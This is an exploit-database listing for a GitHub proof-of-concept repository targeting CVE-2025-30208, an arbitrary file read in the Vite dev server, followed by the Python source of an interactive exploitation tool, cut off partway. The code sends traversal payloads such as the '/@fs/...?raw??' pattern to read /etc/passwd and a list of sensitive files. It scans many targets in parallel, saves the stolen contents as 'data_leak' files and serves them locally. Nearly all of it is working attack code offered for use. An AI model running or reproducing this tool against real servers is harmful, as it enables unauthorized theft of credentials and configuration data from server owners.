Exploit database

GH-650a1d70c985cff821cc156134ffefa3

th-secforge/cve-2025-30208

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-30208

23 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
th-secforge/cve-2025-30208Revision 20ba98a200ca

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-30208.py

Suggested starting filePython · 48,124 bytes
import requests
import re
import sys
import time
import os
import json
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from tabulate import tabulate
import readline
import logging
from datetime import datetime
import socket
import urllib3
from urllib3.exceptions import InsecureRequestWarning
import http.server
import socketserver
import webbrowser


from payloads import ADVANCED_PAYLOADS
from sensitive_files import SENSITIVE_FILES
from html_template import get_html_template

urllib3.disable_warnings(InsecureRequestWarning)

try:
    from colorama import Fore, Style, init
    init(autoreset=True)
except ImportError:
    class Dummy:
        def __getattr__(self, name): return ''
    Fore = Style = Dummy()

class ScannerError(Exception):
    """Custom exception for scanner errors"""
    pass

class NetworkError(ScannerError):
    """Network-related errors"""
    pass

class ConfigurationError(ScannerError):
    """Configuration-related errors"""
    pass

class ValidationError(ScannerError):
    """Validation-related errors"""
    pass

def handle_error(error, context=""):
    """Centralized error handling function"""
    error_msg = f"{Fore.RED}[ERROR] {context}: {str(error)}{Style.RESET_ALL}"
    print(error_msg)
    logging.error(f"{context}: {str(error)}")
    
    if isinstance(error, requests.exceptions.ConnectionError):
        print(f"{Fore.YELLOW}[TIP] Check if the target is reachable and the port is correct{Style.RESET_ALL}")
    elif isinstance(error, requests.exceptions.Timeout):
        print(f"{Fore.YELLOW}[TIP] Try increasing the TIMEOUT value{Style.RESET_ALL}")
    elif isinstance(error, requests.exceptions.ProxyError):
        print(f"{Fore.YELLOW}[TIP] Check your proxy configuration{Style.RESET_ALL}")
    elif isinstance(error, json.JSONDecodeError):
        print(f"{Fore.YELLOW}[TIP] Check the JSON format of your configuration{Style.RESET_ALL}")
    elif isinstance(error, ValidationError):
        print(f"{Fore.YELLOW}[TIP] Verify your input parameters{Style.RESET_ALL}")

def validate_target(host, port):
    """Validate target host and port"""
    try:

        if not host or host.strip() == "":
            raise ValidationError("Host cannot be empty")
        

        try:
            port_int = int(port)
            if port_int < 1 or port_int > 65535:
                raise ValidationError("Port must be between 1 and 65535")
        except ValueError:
            raise ValidationError("Port must be a valid number")
        

        try:
            socket.gethostbyname(host)
        except socket.gaierror:
            print(f"{Fore.YELLOW}[WARNING] Could not resolve hostname: {host}{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[TIP] This might be intentional for IP addresses{Style.RESET_ALL}")
        
        return True
    except Exception as e:
        handle_error(e, "Target validation failed")
        return False

def validate_proxy(proxy_url):
    """Validate proxy URL format"""
    if not proxy_url:
        return True
    
    try:
        if not proxy_url.startswith(('http://', 'https://')):
            raise ValidationError("Proxy URL must start with http:// or https://")
        

        parts = proxy_url.split('://', 1)
        if len(parts) != 2:
            raise ValidationError("Invalid proxy URL format")
        
        host_port = parts[1].split('/')[0]
        if ':' not in host_port:
            raise ValidationError("Proxy URL must include port (e.g., http://proxy:8080)")
        
        host, port = host_port.split(':')
        if not host or not port:
            raise ValidationError("Invalid proxy host or port")
        
        try:
            int(port)
        except ValueError:
            raise ValidationError("Proxy port must be a number")
        
        return True
    except Exception as e:
        handle_error(e, "Proxy validation failed")
        return False

def safe_request(session, url, timeout=5, max_retries=3):
    """Make HTTP request with error handling and retries"""
    for attempt in range(max_retries):
        try:
            response = session.get(url, timeout=timeout, verify=False, allow_redirects=True)
            return response
        except requests.exceptions.ProxyError as e:
            raise NetworkError(f"Proxy error: {str(e)}")
        except requests.exceptions.ConnectionError as e:
            if attempt == max_retries - 1:
                raise NetworkError(f"Connection failed after {max_retries} attempts: {str(e)}")
            print(f"{Fore.YELLOW}[RETRY] Connection attempt {attempt + 1}/{max_retries} failed, retrying...{Style.RESET_ALL}")
            try:
                time.sleep(1)
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
                choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
                if choice == 'y':
                    print(f"{Fore.CYAN}Exiting...{Style.RESET_ALL}")
                    sys.exit(0)
                else:
                    print(f"{Fore.CYAN}Continuing...{Style.RESET_ALL}")
                    continue
        except requests.exceptions.Timeout as e:
            if attempt == max_retries - 1:
                raise NetworkError(f"Request timeout after {max_retries} attempts: {str(e)}")
            print(f"{Fore.YELLOW}[RETRY] Timeout on attempt {attempt + 1}/{max_retries}, retrying...{Style.RESET_ALL}")
            try:
                time.sleep(1)
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
                choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
                if choice == 'y':
                    print(f"{Fore.CYAN}Exiting...{Style.RESET_ALL}")
                    sys.exit(0)
                else:
                    print(f"{Fore.CYAN}Continuing...{Style.RESET_ALL}")
                    continue
        except requests.exceptions.RequestException as e:
            raise NetworkError(f"Request failed: {str(e)}")
        except Exception as e:
            raise NetworkError(f"Unexpected error: {str(e)}")
    
    raise NetworkError(f"Request failed after {max_retries} attempts")

COMMANDS = [
    'set', 'show options', 'edit', 'run', 'exploit', 'pull', 'cls', 'help', '?', 'exit', 'quit',
    'batch', 'load', 'save', 'verbose', 'proxy', 'headers', 'rate', 'log', 'scan', 'test', 'validate', 'web'
]
OPTION_NAMES = ['RHOST', 'RPORT', 'FILEPATH', 'PROXY', 'VERBOSE', 'RATE_LIMIT', 'THREADS', 'TIMEOUT', 'CUSTOM_HEADERS']

def setup_logging():
    """Setup logging system with error handling"""
    try:
        log_dir = "logs"
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)
        
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        log_file = f"{log_dir}/cve_2025_30208_{timestamp}.log"
        
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler(log_file, encoding='utf-8'),
                logging.StreamHandler()
            ]
        )
        return log_file
    except Exception as e:
        print(f"{Fore.RED}[ERROR] Failed to setup logging: {e}{Style.RESET_ALL}")
        return None

def completer(text, state):
    """Enhanced command completer with error handling"""
    try:
        buffer = readline.get_line_buffer()
        line = buffer.lstrip()
        if line.startswith('set '):
            args = line.split()
            if len(args) == 2:
                matches = [o for o in OPTION_NAMES if o.startswith(text.upper())]
            else:
                matches = []
        else:
            matches = [c for c in COMMANDS if c.startswith(text)]
        if state < len(matches):
            return matches[state] + (' ' if matches[state] != 'set' else '')
        return None
    except Exception:
        return None

readline.set_completer(completer)
readline.parse_and_bind('tab: complete')

def print_banner():
    banner = rf"""
{Fore.RED}{Style.BRIGHT}
   ______     _______     ____   ___ ____  ____       _____  ___ ____   ___   ___  
  / ___\ \   / / ____|   |___ \ / _ \___ \| ___|     |___ / / _ \___ \ / _ \ ( _ ) 
 | |    \ \ / /|  _| _____ __) | | | |__) |___ \ _____ |_ \| | | |__) | | | |/ _ \ 
 | |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) | |_| / __/| |_| | (_) |
  \____|  \_/  |_____|   |_____|\___/_____|____/     |____/ \___/_____|\___/ \___/ 
                                                                                                                                                                  
      CVE-2025-30208 Vulnerability Scanner 
      Author : ThemeHackers
      Github : https://github.com/ThemeHackers

{Style.RESET_ALL}"""
    print(banner)

def show_options(options):
    """Display options with validation status"""
    try:
        print(f"\n{Fore.BLUE}{Style.BRIGHT}Current Options:{Style.RESET_ALL}")
        table = []
        for k, v in options.items():
            status = ""
            if k == 'RHOST' and v:
                status = f"{Fore.GREEN}✓{Style.RESET_ALL}" if validate_target(v, options.get('RPORT', '')) else f"{Fore.RED}✗{Style.RESET_ALL}"
            elif k == 'PROXY' and v:
                status = f"{Fore.GREEN}✓{Style.RESET_ALL}" if validate_proxy(v) else f"{Fore.RED}✗{Style.RESET_ALL}"
            elif k == 'CUSTOM_HEADERS' and v != '{}':
                try:
                    json.loads(v)
                    status = f"{Fore.GREEN}✓{Style.RESET_ALL}"
                except:
                    status = f"{Fore.RED}✗{Style.RESET_ALL}"
            else:
                status = f"{Fore.GREEN}✓{Style.RESET_ALL}" if v else f"{Fore.YELLOW}-{Style.RESET_ALL}"
            
            table.append([k, v, status])
        
        print(tabulate(table, headers=["Name", "Value", "Status"], tablefmt="fancy_grid"))
    except Exception as e:
        handle_error(e, "Failed to show options")

def test_connection(target, options):
    """Test basic connectivity to target with TCP and UDP"""
    try:
        server, port = target.split(':') if ':' in target else (target, options['RPORT'])
        
        if not validate_target(server, port):
            return False
        
        print(f"{Fore.CYAN}[TEST] Testing connectivity to {server}:{port}...{Style.RESET_ALL}")
        

        tcp_status = False
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            result = sock.connect_ex((server, int(port)))
            sock.close()
            
            if result == 0:
                print(f"{Fore.GREEN}[✓] TCP connection successful{Style.RESET_ALL}")
                tcp_status = True
            else:
                print(f"{Fore.RED}[✗] TCP connection failed (Error code: {result}){Style.RESET_ALL}")
        except Exception as e:
            print(f"{Fore.RED}[✗] TCP connection test failed: {e}{Style.RESET_ALL}")
        

        udp_status = False
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(3)
            sock.sendto(b"test", (server, int(port)))
            sock.close()
            print(f"{Fore.GREEN}[✓] UDP connection successful{Style.RESET_ALL}")
            udp_status = True
        except socket.timeout:
            print(f"{Fore.YELLOW}[!] UDP connection timeout (port might be filtered){Style.RESET_ALL}")
        except Exception as e:
            print(f"{Fore.RED}[✗] UDP connection test failed: {e}{Style.RESET_ALL}")
        

        http_status = False
        if tcp_status: 
            try:
                session = requests.Session()
                if options.get('PROXY'):
                    session.proxies = {
                        'http': options['PROXY'],
                        'https': options['PROXY']
                    }
                
                url = f"http://{server}:{port}/"
                response = session.get(url, timeout=5, verify=False)
                print(f"{Fore.GREEN}[✓] HTTP connection successful (Status: {response.status_code}){Style.RESET_ALL}")
                http_status = True
            except requests.exceptions.ConnectionError:
                print(f"{Fore.YELLOW}[!] HTTP connection failed, but TCP works - target might be using different protocol{Style.RESET_ALL}")
            except requests.exceptions.Timeout:
                print(f"{Fore.YELLOW}[!] HTTP connection timeout{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}[✗] HTTP connection test failed: {e}{Style.RESET_ALL}")
        

        https_status = False
        if tcp_status: 
            try:
                session = requests.Session()
                if options.get('PROXY'):
                    session.proxies = {
                        'http': options['PROXY'],
                        'https': options['PROXY']
                    }
                
                url = f"https://{server}:{port}/"
                response = session.get(url, timeout=5, verify=False)
                print(f"{Fore.GREEN}[✓] HTTPS connection successful (Status: {response.status_code}){Style.RESET_ALL}")
                https_status = True
            except requests.exceptions.ConnectionError:
                print(f"{Fore.YELLOW}[!] HTTPS connection failed{Style.RESET_ALL}")
            except requests.exceptions.Timeout:
                print(f"{Fore.YELLOW}[!] HTTPS connection timeout{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}[✗] HTTPS connection test failed: {e}{Style.RESET_ALL}")
        

        print(f"\n{Fore.BLUE}{Style.BRIGHT}Connection Test Summary:{Style.RESET_ALL}")
        protocols = []
        if tcp_status:
            protocols.append("TCP")
        if udp_status:
            protocols.append("UDP")
        if http_status:
            protocols.append("HTTP")
        if https_status:
            protocols.append("HTTPS")
        
        if protocols:
            print(f"{Fore.GREEN}[✓] Working protocols: {', '.join(protocols)}{Style.RESET_ALL}")
            if not http_status and not https_status and tcp_status:
                print(f"{Fore.YELLOW}[TIP] Target is reachable via TCP but not HTTP/HTTPS. Consider using different payloads or protocols.{Style.RESET_ALL}")
        else:
            print(f"{Fore.RED}[✗] No protocols working{Style.RESET_ALL}")
            return False
        
        return True
            
    except Exception as e:
        handle_error(e, "Connection test failed")
        return False

def test_single_target(target, options, verbose=False):
    """Test a single target with all payloads - Enhanced error handling"""
    try:
        server, port = target.split(':') if ':' in target else (target, options['RPORT'])
        file_path = options['FILEPATH']
        
        if not validate_target(server, port):
            raise ValidationError(f"Invalid target: {server}:{port}")
        
        if verbose:
            print(f"{Fore.CYAN}[DEBUG] Testing target: {server}:{port} with file: {file_path}{Style.RESET_ALL}")
        

        session = requests.Session()
        if options.get('PROXY'):
            if not validate_proxy(options['PROXY']):
                raise ConfigurationError(f"Invalid proxy configuration: {options['PROXY']}")
            session.proxies = {
                'http': options['PROXY'],
                'https': options['PROXY']
            }
        

        if options.get('CUSTOM_HEADERS'):
            try:
                headers = json.loads(options['CUSTOM_HEADERS'])
                session.headers.update(headers)
            except json.JSONDecodeError as e:
                raise ConfigurationError(f"Invalid custom headers JSON: {e}")
        
        results = []
        vuln_contents = []
        vulnerable = False
        

        payloads = [p.format(file_path=file_path) for p in ADVANCED_PAYLOADS]
        
        for i, payload in enumerate(payloads, 1):
            url = f"http://{server}:{port}{payload}"
            status = f"{Fore.BLUE}[{i}/{len(payloads)}]{Style.RESET_ALL}"
            
            if verbose:
                print(f"{status} {Fore.YELLOW}Testing: {url}{Style.RESET_ALL}")
            
            try:
              
                if options.get('RATE_LIMIT'):
                    try:
                        time.sleep(float(options['RATE_LIMIT']))
                    except KeyboardInterrupt:
                        print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
                        choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
                        if choice == 'y':
                            print(f"{Fore.CYAN}Exiting...{Style.RESET_ALL}")
                            sys.exit(0)
                        else:
                            print(f"{Fore.CYAN}Continuing...{Style.RESET_ALL}")
                            continue
                
                resp = safe_request(session, url, timeout=int(options.get('TIMEOUT', 5)))
                
                if resp and resp.status_code == 200 or (resp and resp.text and resp.text.strip()):
                    results.append([payload, url, f"{Fore.RED}VULNERABLE{Style.RESET_ALL}"])
                    vulnerable = True
                    vuln_contents.append((url, resp.text))
                    
                    if verbose:
                        print(f"{Fore.RED}[!] VULNERABLE: {url}{Style.RESET_ALL}")
                        print(f"{Fore.WHITE}Response length: {len(resp.text)} bytes{Style.RESET_ALL}")
                else:
                    status_code = resp.status_code if resp else "No response"
                    results.append([payload, url, f"{Fore.GREEN}Not Vulnerable{Style.RESET_ALL}"])
                    if verbose:
                        print(f"{Fore.GREEN}[-] Not Vulnerable: {url} (Status: {status_code}){Style.RESET_ALL}")
                        
            except NetworkError as e:
                results.append([payload, url, f"{Fore.MAGENTA}Network Error: {str(e)[:50]}{Style.RESET_ALL}"])
                if verbose:
                    print(f"{Fore.MAGENTA}[!] Network Error: {e}{Style.RESET_ALL}")
            except Exception as e:
                results.append([payload, url, f"{Fore.MAGENTA}Error: {str(e)[:50]}{Style.RESET_ALL}"])
                if verbose:
                    print(f"{Fore.MAGENTA}[!] Error: {e}{Style.RESET_ALL}")
        
        return {
            'target': f"{server}:{port}",
            'vulnerable': vulnerable,
            'results': results,
            'contents': vuln_contents
        }
        
    except Exception as e:
        handle_error(e, f"Target test failed for {target}")
        return {
            'target': target,
            'vulnerable': False,
            'results': [],
            'contents': [],
            'error': str(e)
        }

def run_exploit(options, last_vuln_contents):
    server = options['RHOST']
    port = options['RPORT']
    file_path = options['FILEPATH']
    verbose = options.get('VERBOSE', 'false').lower() == 'true'
    
    if not (server and port and file_path):
        print(f"{Fore.RED}Please set RHOST, RPORT, and FILEPATH before running exploit.{Style.RESET_ALL}")
        return False
    
    print(f"\n{Fore.YELLOW}CVE-2025-30208 > exploit{Style.RESET_ALL}")
    
    
    result = test_single_target(f"{server}:{port}", options, verbose)
    
    
    print(f"\n{Fore.BLUE}{Style.BRIGHT}Scan Results for {result['target']}:{Style.RESET_ALL}")
    print(tabulate(result['results'], headers=["Payload", "URL", "Result"], tablefmt="fancy_grid"))
    
    if result['contents']:
        print(f"\n{Fore.RED}{Style.BRIGHT}Sample content from vulnerable responses:{Style.RESET_ALL}")
        for url, sample in result['contents']:
            print(f"{Fore.YELLOW}--- Content from: {url} ---{Style.RESET_ALL}")
            print(f"{Fore.WHITE}{'-'*40}\n{sample[:500]}\n{'-'*40}{Style.RESET_ALL}\n")
    
    if result['vulnerable']:
        print(f"\n{Fore.RED}{Style.BRIGHT}[!!!] The server is VULNERABLE to Vite Arbitrary File Read (CVE-2025-30208)!{Style.RESET_ALL}")
        last_vuln_contents.clear()
        last_vuln_contents.extend(result['contents'])
        logging.info(f"VULNERABLE: {result['target']} - Found {len(result['contents'])} vulnerable endpoints")
    else:
        print(f"\n{Fore.GREEN}{Style.BRIGHT}[OK] The server does NOT appear to be vulnerable to Vite Arbitrary File Read (CVE-2025-30208) with tested payloads.{Style.RESET_ALL}")
        last_vuln_contents.clear()
        logging.info(f"NOT VULNERABLE: {result['target']}")
    
    return result['vulnerable']

def batch_scan(targets, options):
    """Scan multiple targets in parallel"""
    print(f"\n{Fore.YELLOW}CVE-2025-30208 > batch scan{Style.RESET_ALL}")
    print(f"{Fore.CYAN}Scanning {len(targets)} targets with {options.get('THREADS', 5)} threads...{Style.RESET_ALL}")
    
    all_results = []
    max_workers = int(options.get('THREADS', 5))
    
    try:
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            future_to_target = {
                executor.submit(test_single_target, target, options, options.get('VERBOSE', 'false').lower() == 'true'): target 
                for target in targets
            }
            
            for future in as_completed(future_to_target):
                target = future_to_target[future]
                try:
                    result = future.result()
                    all_results.append(result)
                    
                    status = f"{Fore.RED}VULNERABLE{Style.RESET_ALL}" if result['vulnerable'] else f"{Fore.GREEN}SAFE{Style.RESET_ALL}"
                    print(f"{Fore.CYAN}[{len(all_results)}/{len(targets)}] {target}: {status}{Style.RESET_ALL}")
                    
                except Exception as e:
                    print(f"{Fore.MAGENTA}[ERROR] {target}: {e}{Style.RESET_ALL}")
                    all_results.append({
                        'target': target,
                        'vulnerable': False,
                        'results': [],
                        'contents': [],
                        'error': str(e)
                    })
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] Batch scan interrupted by user{Style.RESET_ALL}")
        choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
        if choice == 'y':
            print(f"{Fore.CYAN}Exiting...{Style.RESET_ALL}")
            sys.exit(0)
        else:
            print(f"{Fore.CYAN}Continuing with partial results...{Style.RESET_ALL}")
    

    vulnerable_count = sum(1 for r in all_results if r['vulnerable'])
    print(f"\n{Fore.BLUE}{Style.BRIGHT}Batch Scan Summary:{Style.RESET_ALL}")
    print(f"Total targets: {len(targets)}")
    print(f"Scanned: {len(all_results)}")
    print(f"Vulnerable: {Fore.RED}{vulnerable_count}{Style.RESET_ALL}")
    print(f"Safe: {Fore.GREEN}{len(all_results) - vulnerable_count}{Style.RESET_ALL}")

    if vulnerable_count > 0:
        print(f"\n{Fore.RED}{Style.BRIGHT}Vulnerable Targets:{Style.RESET_ALL}")
        for result in all_results:
            if result['vulnerable']:
                print(f"  {Fore.RED}• {result['target']}{Style.RESET_ALL}")
    
    return all_results

def sensitive_file_discovery(target, options):
    """Discover sensitive files on vulnerable target"""
    print(f"\n{Fore.YELLOW}CVE-2025-30208 > sensitive file discovery{Style.RESET_ALL}")
    
    server, port = target.split(':') if ':' in target else (target, options['RPORT'])
    verbose = options.get('VERBOSE', 'false').lower() == 'true'
    
    session = requests.Session()
    if options.get('PROXY'):
        session.proxies = {
            'http': options['PROXY'],
            'https': options['PROXY']
        }
    
    discovered_files = []
    
    for i, file_path in enumerate(SENSITIVE_FILES, 1):
        url = f"http://{server}:{port}/@fs/{file_path}?raw??"
        
        if verbose:
            print(f"{Fore.CYAN}[{i}/{len(SENSITIVE_FILES)}] Testing: {file_path}{Style.RESET_ALL}")
        
        try:
            if options.get('RATE_LIMIT'):
                try:
                    time.sleep(float(options['RATE_LIMIT']))
                except KeyboardInterrupt:
                    print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
                    choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
                    if choice == 'y':
                        print(f"{Fore.CYAN}Exiting...{Style.RESET_ALL}")
                        sys.exit(0)
                    else:
                        print(f"{Fore.CYAN}Continuing...{Style.RESET_ALL}")
                        continue
            
            resp = session.get(url, timeout=int(options.get('TIMEOUT', 5)))
            
            if resp.status_code == 200 and resp.text.strip():
                discovered_files.append({
                    'file': file_path,
                    'url': url,
                    'size': len(resp.text),
                    'content': resp.text[:200] + "..." if len(resp.text) > 200 else resp.text
                })
                print(f"{Fore.RED}[!] Found: {file_path} ({len(resp.text)} bytes){Style.RESET_ALL}")
            else:
                if verbose:
                    print(f"{Fore.GREEN}[-] Not found: {file_path}{Style.RESET_ALL}")
                    
        except KeyboardInterrupt:
            print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
            choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
            if choice == 'y':
                print(f"{Fore.CYAN}Exiting...{Style.RESET_ALL}")
                sys.exit(0)
            else:
                print(f"{Fore.CYAN}Continuing...{Style.RESET_ALL}")
                continue
        except Exception as e:
            if verbose:
                print(f"{Fore.MAGENTA}[!] Error testing {file_path}: {e}{Style.RESET_ALL}")
    
    if discovered_files:
        print(f"\n{Fore.RED}{Style.BRIGHT}Discovered {len(discovered_files)} sensitive files:{Style.RESET_ALL}")
        table = [[f['file'], f['size'], f['url']] for f in discovered_files]
        print(tabulate(table, headers=["File", "Size (bytes)", "URL"], tablefmt="fancy_grid"))
        

        with open('sensitive_files_discovery.json', 'w', encoding='utf-8') as f:
            json.dump(discovered_files, f, ensure_ascii=False, indent=2)
        print(f"{Fore.GREEN}Discovery results saved to sensitive_files_discovery.json{Style.RESET_ALL}")
    else:
        print(f"{Fore.YELLOW}No sensitive files discovered.{Style.RESET_ALL}")
    
    return discovered_files

def save_session(options, filename="session.json"):
    """Save current session configuration"""
    try:
        with open(filename, 'w', encoding='utf-8') as f:
            json.dump(options, f, ensure_ascii=False, indent=2)
        print(f"{Fore.GREEN}Session saved to {filename}{Style.RESET_ALL}")
        logging.info(f"Session saved to {filename}")
    except Exception as e:
        print(f"{Fore.RED}Error saving session: {e}{Style.RESET_ALL}")

def load_session(filename="session.json"):
    """Load session configuration"""
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            options = json.load(f)
        
        required_options = ['RHOST', 'RPORT', 'FILEPATH', 'PROXY', 'VERBOSE', 'RATE_LIMIT', 'THREADS', 'TIMEOUT', 'CUSTOM_HEADERS']
        for option in required_options:
            if option not in options:
                options[option] = ''  
        
        print(f"{Fore.GREEN}Session loaded from {filename}{Style.RESET_ALL}")
        logging.info(f"Session loaded from {filename}")
        return options
        
    except FileNotFoundError:
        print(f"{Fore.YELLOW}Session file {filename} not found.{Style.RESET_ALL}")
        return None
    except json.JSONDecodeError as e:
        print(f"{Fore.RED}Error: Invalid JSON format in {filename}: {e}{Style.RESET_ALL}")
        return None
    except Exception as e:
        print(f"{Fore.RED}Error loading session: {e}{Style.RESET_ALL}")
        return None

def pull_data(vuln_contents):
    if not vuln_contents:
        print(f"{Fore.YELLOW}No vulnerable data to pull. Run exploit first and ensure vulnerabilities are found.{Style.RESET_ALL}")
        return
    print(f"{Fore.CYAN}Choose export format:{Style.RESET_ALL}")
    print(f"  [1] HTML (data_leak.html)")
    print(f"  [2] JSON (data_leak.json)")
    try:
        fmt = input(f"{Fore.CYAN}Enter 1 or 2: {Style.RESET_ALL}").strip()
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}[!] Export cancelled{Style.RESET_ALL}")
        return
    
    if fmt == '2':
 
        data = [
            {'url': url, 'content': content} for url, content in vuln_contents
        ]
        with open('data_leak.json', 'w', encoding='utf-8') as f:
            json.dump(data, f, ensure_ascii=False, indent=2)
        print(f"{Fore.GREEN}Vulnerable content saved to data_leak.json{Style.RESET_ALL}")
    else:

        with open('data_leak.html', 'w', encoding='utf-8') as f:
            f.write(get_html_template(vuln_contents))
        print(f"{Fore.GREEN}Vulnerable content saved to data_leak.html{Style.RESET_ALL}")

def start_web_server(port=8080):
    """Start HTTP server to serve data_leak.html"""
    try:
        if not os.path.exists('data_leak.html'):
            print(f"{Fore.RED}Error: data_leak.html not found. Run 'pull' command first to generate the file.{Style.RESET_ALL}")
            return False
        

        os.chdir('.')
    

        handler = http.server.SimpleHTTPRequestHandler
        
        with socketserver.TCPServer(("", port), handler) as httpd:
            print(f"{Fore.GREEN}[✓] Web server started on http://localhost:{port}{Style.RESET_ALL}")
            print(f"{Fore.CYAN}[INFO] Serving data_leak.html at http://localhost:{port}/data_leak.html{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[TIP] Press Ctrl+C to stop the server{Style.RESET_ALL}")
            

            try:
                webbrowser.open(f'http://localhost:{port}/data_leak.html')
                print(f"{Fore.GREEN}[✓] Browser opened automatically{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.YELLOW}[!] Could not open browser automatically: {e}{Style.RESET_ALL}")
                print(f"{Fore.CYAN}[INFO] Please open http://localhost:{port}/data_leak.html manually{Style.RESET_ALL}")
            
            try:
                httpd.serve_forever()
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Web server stopped by user{Style.RESET_ALL}")
                httpd.shutdown()
                return True
                
    except OSError as e:
        if "Address already in use" in str(e):
            print(f"{Fore.RED}Error: Port {port} is already in use. Try a different port.{Style.RESET_ALL}")
            try:
                new_port = input(f"{Fore.CYAN}Enter a different port (default: 8081): {Style.RESET_ALL}").strip()
                if new_port:
                    return start_web_server(int(new_port))
                else:
                    return start_web_server(8081)
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Web server setup cancelled{Style.RESET_ALL}")
                return False
        else:
            print(f"{Fore.RED}Error starting web server: {e}{Style.RESET_ALL}")
            return False
    except Exception as e:
        print(f"{Fore.RED}Unexpected error: {e}{Style.RESET_ALL}")
        return False

def main():

    log_file = setup_logging()
    print(f"{Fore.CYAN}Logging to: {log_file}{Style.RESET_ALL}")
    
    print_banner()
    
    options = {
        'RHOST': '',
        'RPORT': '',
        'FILEPATH': 'etc/passwd',
        'PROXY': '',
        'VERBOSE': 'false',
        'RATE_LIMIT': '0.3',
        'THREADS': '10',
        'TIMEOUT': '25',
        'CUSTOM_HEADERS': '{}'
    }
    last_vuln_contents = []
    
    while True:
        try:
            cmd = input(f"{Fore.CYAN}CVE-2025-30208 > {Style.RESET_ALL}").strip()
        except (EOFError, KeyboardInterrupt):
            print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}")
            choice = input(f"{Fore.CYAN}Do you want to exit the program? (y/n): {Style.RESET_ALL}").strip().lower()
            if choice == 'y':
                print(f"{Fore.CYAN}CVE-2025-30208 > exit{Style.RESET_ALL}")
                break
            else:
                print(f"{Fore.CYAN}Continuing...{Style.RESET_ALL}")
                continue
        if cmd.lower() in ['exit', 'quit']:
            print(f"{Fore.CYAN}CVE-2025-30208 > exit{Style.RESET_ALL}")
            break
        elif cmd.lower() == 'ls':
            os.system('ls')
        elif cmd.lower() == 'cls':
            os.system('cls' if os.name == 'nt' else 'clear')
            print_banner()
        elif cmd.lower() == 'dir':
            os.system('dir' if os.name == 'nt' else 'ls')
        elif cmd.lower() == 'show options':
            show_options(options)
        elif cmd.lower().startswith('set '):
            parts = cmd.split(None, 2)
            if len(parts) == 3 and parts[1].upper() in options:
                options[parts[1].upper()] = parts[2]
                print(f"{Fore.GREEN}{parts[1].upper()} => {parts[2]}{Style.RESET_ALL}")
                logging.info(f"Option set: {parts[1].upper()} = {parts[2]}")
            else:
                print(f"{Fore.YELLOW}Usage: set <RHOST|RPORT|FILEPATH|PROXY|VERBOSE|RATE_LIMIT|THREADS|TIMEOUT|CUSTOM_HEADERS> <value>{Style.RESET_ALL}")
        elif cmd.lower() == 'edit':
            print(f"\n{Fore.BLUE}{Style.BRIGHT}Edit Options:{Style.RESET_ALL}")
            for idx, (k, v) in enumerate(options.items(), 1):
                print(f"[{idx}] {k}: {v}")
            try:
                sel = int(input("Select the number to edit: "))
                if 1 <= sel <= len(options):
                    key = list(options.keys())[sel-1]
                    try:
                        new_val = input(f"Enter new value for {key}: ")
                        options[key] = new_val
                        print(f"{Fore.GREEN}{key} => {new_val}{Style.RESET_ALL}")
                        logging.info(f"Option edited: {key} = {new_val}")
                    except KeyboardInterrupt:
                        print(f"\n{Fore.YELLOW}[!] Edit cancelled{Style.RESET_ALL}")
                        continue
                else:
                    print(f"{Fore.YELLOW}Invalid number.{Style.RESET_ALL}")
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Edit cancelled{Style.RESET_ALL}")
                continue
            except Exception:
                print(f"{Fore.YELLOW}Please enter a valid number.{Style.RESET_ALL}")
        elif cmd.lower() == 'run' or cmd.lower() == 'exploit':
            found = run_exploit(options, last_vuln_contents)
            if found and last_vuln_contents:
                print(f"{Fore.YELLOW}Type 'pull' to save vulnerable content to data_leak.html , data_leak.json{Style.RESET_ALL}")
        elif cmd.lower() == 'pull':
            pull_data(last_vuln_contents)
        elif cmd.lower() == 'batch':
            print(f"{Fore.CYAN}Enter targets (one per line, format: host:port or host, press Enter twice to finish):{Style.RESET_ALL}")
            targets = []
            try:
                while True:
                    target = input().strip()
                    if not target:
                        break
                    if ':' not in target:
                        target = f"{target}:{options['RPORT']}"
                    targets.append(target)
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}[!] Target input interrupted{Style.RESET_ALL}")
                if targets:
